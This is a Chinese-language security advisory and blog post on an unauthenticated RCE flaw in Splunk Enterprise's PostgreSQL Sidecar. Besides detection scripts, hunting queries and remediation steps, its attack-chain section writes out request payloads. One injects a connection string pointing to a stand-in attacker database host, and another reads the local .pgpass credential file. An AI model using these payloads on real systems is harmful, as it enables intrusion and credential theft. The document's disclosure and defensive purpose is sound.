Splunk Enterprise紧急漏洞告急!CVE-2026-20253五步实现未认证RCE,SIEM防线沦陷实战手册
一、事件背景:当SIEM本身成为攻击目标
2026年6月10日,Splunk发布安全公告SVD-2026-0603,披露了一个藏在PostgreSQL Sidecar Service里的致命漏洞。编号CVE-2026-20253,CVSS评分9.8,属于CWE-306(关键功能缺少认证)。这个漏洞最狠的地方在于:攻击者不需要任何账号密码,只要网络能访问到Splunk的Web界面,就能一步步拿到服务器的远程代码执行权限。
Splunk Enterprise是什么?它是全球企业最主流的SIEM平台之一,承载着全网安全日志、告警规则、调查取证的核心职能。这个平台被攻破,等于安全团队的"眼睛"和"大脑"被敌人控制。攻击者可以删日志、改告警、偷凭证、横向移动,而SOC团队可能完全不知情。
时间线压缩得很紧。6月10日发补丁,6月12日WatchTowr Labs就公布了完整PoC,6月18日CISA把漏洞加入Known Exploited Vulnerabilities目录,要求联邦机构在6月21日前完成修复。从补丁发布到野外利用确认,只隔了8天。Shadowserver的数据显示,全球有超过1400个Splunk实例暴露在公网,北美占了950个以上。
Splunk官方在6月18日更新公告,确认已发现"limited exploitation"。CrowdSec的网络遥测显示,6月17日就开始捕获到利用尝试,目前追踪到20个恶意IP在活跃扫描。
二、漏洞根因:一个"不设防"的内部服务
2.1 PostgreSQL Sidecar Service 是什么
Splunk从10.x版本开始引入Sidecar架构。Sidecar是伴随主进程splunkd运行的辅助服务,由Supervisor统一拉起监控。各个Sidecar负责不同功能:SCIM身份同步、Data Orchestration数据编排、Edge Processor控制平面、OpAmp远程代理管理,以及本次出事的Storage Sidecar——也就是PostgreSQL Sidecar。
这个Sidecar在本地监听端口5435,只绑定127.0.0.1,表面看是内部服务。但Splunk的Web层充当了反向代理,把外部请求转发到localhost:5435。攻击者不需要直接连接5435,只要往Splunk Web端口(默认8000)发送特定HTTP请求,Web层就会原样转发到Sidecar。
2.2 认证缺失的本质
Sidecar的HTTP端点确实要求Authorization头部,但它不验证内容。你传Basic Og==(空用户名密码的Base64)也能通过。Sidecar把Authorization里的用户名直接丢给pg_dump -U <user>,让PostgreSQL自己去判断。而本地PostgreSQL配置了.pgpass免密文件,导致整个认证环节形同虚设。
官方公告描述为"unauthenticated arbitrary file creation and truncation",但WatchTowr的研究证明,这个文件操作原语可以完整串联成RCE。Splunk给9.8分不是虚高。
2.3 受影响版本与部署差异
| 产品分支 | 受影响版本 | 修复版本 | Sidecar默认状态 | 风险等级 |
|---|---|---|---|---|
| Splunk Enterprise 10.0.x | 10.0.0 - 10.0.6 | 10.0.7 | AWS启用/本地未启用 | Critical |
| Splunk Enterprise 10.2.x | 10.2.0 - 10.2.3 | 10.2.4 | AWS启用/本地未启用 | Critical |
| Splunk Enterprise 10.4.x | 不受影响 | 10.4.0 | N/A | None |
| Splunk Enterprise 9.4.x及以下 | 不受影响 | N/A | 无Sidecar组件 | None |
| Splunk Cloud Platform | 不受影响 | N/A | 不使用Sidecar | None |
AWS Marketplace或Quick Start部署的Splunk Enterprise默认启用PostgreSQL Sidecar,且往往伴随公网暴露,这是当前最高危的场景。本地手动安装的Windows/Linux版本通常不启用Sidecar,风险相对低,但仍需排查。
三、技术架构:攻击面与数据流
漏洞的完整攻击路径。攻击者从Splunk Web服务(端口8000/8089)进入,请求被Internal API Proxy转发至localhost:5435的PostgreSQL Sidecar。Sidecar调用pg_dump或pg_restore执行备份恢复操作,由于缺乏路径校验和认证控制,攻击者可以:
- 通过
backupFile参数进行路径遍历,在任意位置创建或截断文件 - 通过
database参数注入PostgreSQL连接字符串,强制连接外部攻击者控制的数据库 - 利用
lo_export大对象导出功能,将恶意内容写入文件系统 - 读取本地
.pgpass获取凭证,通过restore端点执行恶意SQL - 覆盖Splunk定期执行的Python脚本,实现持久化RCE
四、五步攻击链:从空凭证到Shell
Step 1:未认证端点探测
攻击者发送POST请求到/en-US/splunkd/__raw/v1/postgres/recovery/backup,带上空的Authorization头部:
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup HTTP/1.1 Host: target.splunk.com:8000 Content-Type: application/json Authorization: Basic Og== Content-Length: 56 {"database":"search_metadata","backupFile":"backuptest"}如果返回200 OK,说明端点未受保护。这是WatchTowr发布的检测脚本核心逻辑:400响应通常表示漏洞存在(服务接受请求但参数有问题),401表示已修复,其他状态码表示Sidecar未安装。
Step 2:连接字符串注入
PostgreSQL的pg_dump允许在dbname位置传入完整连接字符串,且连接字符串参数会覆盖命令行选项。Sidecar硬编码了-h localhost,但攻击者可以在database参数里注入hostaddr=attacker.com,让pg_dump连到外部数据库:
{"database":"hostaddr=attacker.db.com dbname=testdb","backupFile":"/tmp/whatever"}Splunk服务器会主动 outbound 连接到攻击者的PostgreSQL服务器。这一步突破了"localhost only"的限制。
Step 3:恶意数据库备份写入
攻击者在外部数据库里准备好包含恶意SQL函数的库表。通过backup端点,pg_dump把攻击者控制的数据库内容dump到Splunk服务器的指定路径。此时文件不再是空的,而是包含精心构造的SQL。
Step 4:本地凭证窃取与恶意恢复
Splunk在/opt/splunk/var/packages/data/postgres/.pgpass明文存储了PostgreSQL凭证。攻击者通过passfile参数让pg_restore读取这个文件,以postgres_admin身份连接本地数据库:
{"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/.pgpass","backupFile":"/tmp/poc"}恢复过程中,恶意SQL里的lo_export函数被触发,将攻击者控制的二进制数据写入服务器任意路径。这是从"文件创建"到"可控文件写入"的关键跃迁。
Step 5:Python脚本覆盖与RCE
WatchTowr发现Splunk会定期执行/opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py。攻击者用Step 4的文件写入原语覆盖这个脚本,植入Python反向Shell或命令执行payload。等待Splunk的计划任务触发,攻击者就拿到了splunk用户权限的Shell。
PoC执行后会在Web根目录生成watchTowr.txt作为验证文件,内容通常是uid=1001(splunk) gid=1001(splunk)。
五、漏洞复现与检测脚本
5.1 安全检测脚本(非攻击用途)
以下Python脚本基于WatchTowr Labs的检测逻辑改写,仅用于判断目标是否暴露漏洞端点,不包含任何利用代码:
#!/usr/bin/env python3""" CVE-2026-20253 Splunk PostgreSQL Sidecar Service Detection Artifact Generator Usage: python3 detect_cve_2026_20253.py -H http://target:8000 -r en-US """importargparseimporturllib.requestimporturllib.errorimportsysdefdetect_vulnerability(target,region):endpoint=f"{target}/{region}/splunkd/__raw/v1/postgres/recovery/backup"headers={"Content-Type":"application/json","Authorization":"Basic Og==",# Empty credentials"User-Agent":"CVE-2026-20253-Detector/1.0"}data=b'{"database":"search_metadata","backupFile":"detection_test"}'req=urllib.request.Request(endpoint,data=data,headers=headers,method="POST")try:response=urllib.request.urlopen(req,timeout=10)status=response.getcode()body=response.read().decode('utf-8',errors='ignore')ifstatus==200and"BackupPending"inbody:print(f"[+] VULNERABLE -{target}accepts unauthenticated sidecar requests")print(f" Response:{body[:100]}")returnTrueelifstatus==401:print(f"[-] NOT VULNERABLE -{target}requires authentication (patched)")returnFalseelse:print(f"[?] UNCLEAR - HTTP{status}, manual review needed")returnNoneexcepturllib.error.HTTPErrorase:ife.code==400:print(f"[+] LIKELY VULNERABLE -{target}returns 400 (endpoint exposed, bad request expected)")returnTrueelife.code==401:print(f"[-] NOT VULNERABLE -{target}returns 401 (authentication enforced)")returnFalseelife.code==404:print(f"[-] NOT VULNERABLE - Sidecar endpoint not found (not installed or different path)")returnFalseelse:print(f"[?] HTTP Error{e.code}:{e.reason}")returnNoneexceptExceptionase:print(f"[!] Connection failed:{e}")returnNonedefmain():parser=argparse.ArgumentParser(description="Detect CVE-2026-20253 exposure")parser.add_argument("-H","--host",required=True,help="Target Splunk URL (e.g., http://splunk.company.com:8000)")parser.add_argument("-r","--region",default="en-US",help="Splunk region/locale (default: en-US)")args=parser.parse_args()print(f"[*] Scanning{args.host}for CVE-2026-20253 exposure...")result=detect_vulnerability(args.host,args.region)ifresultisTrue:print("\n[!] ACTION REQUIRED: Upgrade to 10.0.7, 10.2.4, or 10.4.0+ immediately")sys.exit(1)elifresultisFalse:print("\n[+] Target appears protected")sys.exit(0)else:print("\n[?] Inconclusive - perform manual verification")sys.exit(2)if__name__=="__main__":main()检测逻辑说明:
- 400响应:端点存在但未做认证控制,大概率漏洞存在
- 401响应:认证已强制启用,已修复
- 404响应:Sidecar未安装或路径不同,不受影响
5.2 Nuclei检测模板
id:cve-2026-20253-splunk-detectioninfo:name:Splunk Enterprise CVE-2026-20253 PostgreSQL Sidecar Exposureauthor:security-teamseverity:criticaldescription:Detects exposed and unauthenticated PostgreSQL sidecar recovery endpointsreference:-https://advisory.splunk.com/advisories/SVD-2026-0603tags:cve,cve2026,splunk,unauth,rce,kevhttp:-method:POSTpath:-"{{BaseURL}}/en-US/splunkd/__raw/v1/postgres/recovery/backup"headers:Content-Type:application/jsonAuthorization:Basic Og==body:'{"database":"search_metadata","backupFile":"nuclei_test"}'matchers-condition:andmatchers:-type:statusstatus:-200-400-type:wordwords:-"BackupPending"-"backupFile"condition:or-type:wordwords:-"Unauthorized"-"401"negative:trueextractors:-type:regexregex:-'"id":"[a-f0-9-]+"'5.3 Splunk内部日志检测SPL
如果你的Splunk实例还在运行(且未被攻陷),可以用以下SPL搜索内部访问日志,排查是否已被扫描或利用:
index=_internal sourcetype=splunkd_access (uri_path="*/v1/postgres/recovery/*" OR uri_query="*hostaddr=*" OR uri_query="*passfile=*" OR uri_query="*dbname=*hostaddr*") | eval is_suspicious=if(match(uri_query, "(?i)hostaddr|passfile"), "HIGH", "MEDIUM") | stats count, values(uri_path) as paths, values(uri_query) as queries by src_ip, is_suspicious | where count > 0 | sort - count关键IOC特征:
- HTTP路径包含
/v1/postgres/recovery/backup或/restore - 请求参数出现
hostaddr=、passfile=、dbname=拼接长字符串 - 无有效session_key或authtoken的API调用
- 源IP来自非管理网段
六、应急响应:假设已被攻破
6.1 证据保全
如果实例在补丁发布前暴露于公网或不可信网络,按CISA和Splunk的建议,必须按已 compromised 处理,直到证明清白。先保全证据,别急着重启或升级:
#!/bin/bash# Splunk CVE-2026-20253 证据收集脚本# 以root或splunk用户执行EVIDENCE_DIR="/secure-evidence/splunk-cve-2026-20253-$(date+%Y%m%d-%H%M%S)"mkdir-p"$EVIDENCE_DIR"echo"[*] Collecting evidence to$EVIDENCE_DIR..."# 核心日志cp-a"$SPLUNK_HOME/var/log/splunk""$EVIDENCE_DIR/"2>/dev/null# 配置文件快照cp-a"$SPLUNK_HOME/etc/system/local""$EVIDENCE_DIR/system-local"2>/dev/nullcp-a"$SPLUNK_HOME/etc/apps""$EVIDENCE_DIR/apps-copy"2>/dev/null# 进程与网络状态psaux>"$EVIDENCE_DIR/ps.txt"ss-tupan>"$EVIDENCE_DIR/sockets.txt"netstat-tulpn>"$EVIDENCE_DIR/netstat.txt"2>/dev/null# 文件系统时间线(最近30天)find"$SPLUNK_HOME"-mtime-30-ls>"$EVIDENCE_DIR/recent-files.txt"# Sidecar相关路径find"$SPLUNK_HOME/var/run/supervisor"-ls>"$EVIDENCE_DIR/supervisor-files.txt"2>/dev/null# PostgreSQL凭证文件(检查是否被读取)ls-la"$SPLUNK_HOME/var/packages/data/postgres/.pgpass">"$EVIDENCE_DIR/pgpass-stat.txt"2>/dev/null# 哈希校验关键Python脚本md5sum"$SPLUNK_HOME/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py"\>"$EVIDENCE_DIR/ssg_script_hash.txt"2>/dev/nullecho"[+] Evidence collection complete:$EVIDENCE_DIR"echo"[!] Next: Analyze logs for /v1/postgres/ requests and unexpected file modifications"6.2 入侵指标(IOC)清单
| 类别 | 具体指标 | 严重度 |
|---|---|---|
| 网络 | 入站HTTP POST到*/v1/postgres/recovery/* | Critical |
| 网络 | 请求体包含hostaddr=或passfile= | Critical |
| 主机 | pg_dump/pg_restore由splunkd子进程启动 | High |
| 主机 | /opt/splunk/var/run/supervisor/pkg-run/下异常文件 | High |
| 主机 | ssg_enable_modular_input.py哈希值变更 | Critical |
| 主机 | Web根目录出现watchTowr.txt或类似文件 | Critical |
| 日志 | splunkd_access.log中无session_key的API调用 | High |
| 网络 | Splunk服务器出站连接到外部PostgreSQL端口5432 | High |
6.3 清理与恢复
确认被攻破后的清理步骤:
- 隔离实例:断开网络或限制仅允许管理IP访问
- 终止恶意进程:查找由Splunk启动的异常Python、bash、sh进程
- 替换被篡改文件:从干净备份恢复
ssg_enable_modular_input.py等模块 - 删除恶意文件:清理
/tmp/和Sidecar目录下的异常备份文件 - 轮换所有凭证:包括
.pgpass中的PostgreSQL密码、Splunk内部账号、集成的API密钥 - 升级修复:安装10.0.7、10.2.4或10.4.0+
- 重新基线化:计算所有关键Python脚本的哈希值,建立FIM监控
七、修复方案:从应急到根治
7.1 官方修复路径
唯一根治方案是升级。Splunk明确没有提供配置层面的热修复,也不存在单个配置文件修改就能堵住漏洞的方法。
# 检查当前版本$SPLUNK_HOME/bin/splunk--version# 下载对应修复版本# 10.0.x 用户升级至 10.0.7# 10.2.x 用户升级至 10.2.4# 或跳至 10.4.0# 标准升级流程(Linux示例)cd/optwgethttps://download.splunk.com/products/splunk/releases/10.2.4/linux/splunk-10.2.4-xxxx-Linux-x86_64.tgztar-xzfsplunk-10.2.4-*.tgzchown-Rsplunk:splunk /opt/splunk# 以splunk用户执行升级su- splunkcd/opt/splunk/bin ./splunk stop ./splunk start --accept-license --answer-yes升级后验证Sidecar端点已不可未认证访问:
curl-XPOST http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup\-H"Authorization: Basic Og=="\-H"Content-Type: application/json"\-d'{"database":"test","backupFile":"test"}'\-k-v# 应返回 401 Unauthorized7.2 临时缓解措施(无法立即升级时)
如果业务窗口不允许立即升级,且实例不使用Edge Processor、OpAmp或SPL2数据管道,可以应急禁用PostgreSQL Sidecar:
# 编辑 server.confcat>>$SPLUNK_HOME/etc/system/local/server.conf<<'EOF' [postgres] disabled = true EOF# 重启Splunk$SPLUNK_HOME/bin/splunk restart警告:禁用Sidecar会破坏依赖它的功能。Splunk官方明确提示:如果使用了Edge Processor、OpAmp或SPL2,禁用Sidecar会导致这些组件失效。生产环境执行前必须在测试环境验证影响。
7.3 网络层缓解
在升级前,通过外围控制降低暴露面:
WAF/反向代理规则(Nginx示例):
location ~ ^/.*/splunkd/__raw/v1/postgres/ { deny all; return 403; } # 或限制仅允许管理网段 location /en-US/splunkd/ { allow 10.0.0.0/8; allow 172.16.0.0/12; allow 192.168.0.0/16; deny all; }iptables(Linux主机层):
# 如果Splunk Web确实不需要公网访问iptables-AINPUT-ptcp--dport8000-s10.0.0.0/8-jACCEPT iptables-AINPUT-ptcp--dport8000-s172.16.0.0/12-jACCEPT iptables-AINPUT-ptcp--dport8000-s192.168.0.0/16-jACCEPT iptables-AINPUT-ptcp--dport8000-jDROP八、防御架构:四层纵深防御体系
针对CVE-2026-20253及同类基础设施漏洞,建议构建四层防御:
第一层:网络边界控制
- WAF规则阻断所有
/v1/postgres/*路径的外部访问 - 防火墙严格限制8000/8089端口的源IP范围
- 管理流量强制走VPN或零信任接入
第二层:主机层防护
- EDR监控
pg_dump、pg_restore进程异常启动 - 文件完整性监控(FIM)覆盖
$SPLUNK_HOME/etc/apps/和$SPLUNK_HOME/var/run/ - 应急场景下准备Sidecar禁用预案
第三层:应用层检测
- Splunk内部日志实时告警:无session_key调用API、异常URI路径
- 检测
hostaddr、passfile、dbname等异常参数 - 设置HTTP请求体大小和频率基线
第四层:数据与响应
- Splunk日志外发至独立SIEM,防止"被监控者"篡改自身日志
- 建立版本资产台账,漏洞发布后24小时内完成影响评估
- 预置应急响应预案,包括证据收集脚本和隔离流程
九、同类漏洞趋势与前瞻性思考
CVE-2026-20253不是孤例。2026年6月Splunk同期修复了多个高危漏洞,包括CVE-2026-20251(Splunk Secure Gateway反序列化RCE,需低权限账号)、CVE-2026-20252(Dashboard Studio PDF导出SSRF)、CVE-2026-20258(存储型XSS)。
这些漏洞共同指向一个趋势:安全基础设施自身的攻击面正在扩大。SIEM、EDR、SOAR、漏洞管理平台拥有最高级别的数据访问权限和网络位置,一旦失守,攻击者获得的不是单点权限,而是全局可见性和控制能力。
防御这类风险需要转变思维:
- 零信任化基础设施:即使是内部服务,也要做身份校验和最小权限
- Sidecar安全模式:辅助服务不能因为是"内部"就忽略认证,代理转发路径必须做路由白名单
- 日志外发与不可变性:核心安全日志应写入只读存储或独立系统,防止被攻击者回抹
- 供应链与版本管控:建立组件清单,Sidecar、插件、第三方库都纳入漏洞响应范围
十、总结与行动清单
CVE-2026-20253是一个典型的"内部服务暴露+认证缺失+工具链滥用"组合漏洞。它的危害不仅在于9.8的CVSS评分,更在于Splunk作为SIEM的战略地位。攻击者拿下Splunk,等于拿下了整个安全运营的指挥中枢。
立即行动清单:
- 版本排查:运行
splunk show version,确认是否在10.0.0-10.0.6或10.2.0-10.2.3范围 - 暴露面检查:确认Splunk管理接口是否可从不可信网络访问
- 日志审查:用提供的SPL搜索内部日志,查找
/v1/postgres/相关请求 - 升级修复:48小时内安排升级至10.0.7、10.2.4或10.4.0+
- 凭证轮换:无论是否发现入侵,升级后强制轮换PostgreSQL和Splunk内部凭证
- 基线重建:计算关键文件哈希,部署FIM监控
互动问题:
- 你的Splunk Enterprise部署在AWS上吗?Sidecar服务是否默认启用了?升级窗口期遇到了哪些依赖阻碍?
- 如果SIEM本身被攻破,你的组织有没有独立的"观察员"系统(如外发日志、独立EDR)来发现SIEM的异常行为?欢迎分享架构设计或踩坑经历。
